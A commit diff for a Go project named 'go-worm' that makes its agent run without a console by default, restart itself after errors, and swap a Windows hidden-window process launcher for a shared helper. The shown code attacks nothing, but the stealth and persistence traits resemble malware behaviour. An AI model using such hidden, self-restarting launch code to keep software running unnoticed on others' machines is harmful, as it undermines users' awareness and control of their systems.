refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper

lib/instance/detach.go

@@ -3,11 +3,6 @@ package instance
 import (
 	"fmt"
 	"os"
-	"os/exec"
-	"strings"
-	"syscall"
-
-	"golang.org/x/sys/windows"
 
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
 )
@@ -20,32 +15,5 @@ func Detach() error {
 	if err != nil {
 		return err
 	}
-	nul, err := os.OpenFile("NUL", os.O_RDWR, 0)
-	if err != nil {
-		return err
-	}
-	defer nul.Close()
-
-	cmd := exec.Command(exe, stripBackground(os.Args[1:])...)
-	cmd.Stdin = nul
-	cmd.Stdout = nul
-	cmd.Stderr = nul
-	cmd.SysProcAttr = &syscall.SysProcAttr{
-		HideWindow:    true,
-		CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP,
-	}
-	return cmd.Start()
-}
-
-func stripBackground(args []string) []string {
-	out := make([]string, 0, len(args))
-	for _, arg := range args {
-		name := strings.TrimLeft(arg, "-/")
-		lower := strings.ToLower(name)
-		if lower == "background" || strings.HasPrefix(lower, "background=") {
-			continue
-		}
-		out = append(out, arg)
-	}
-	return out
+	return Launch(exe, filterArgs(os.Args[1:]))
 }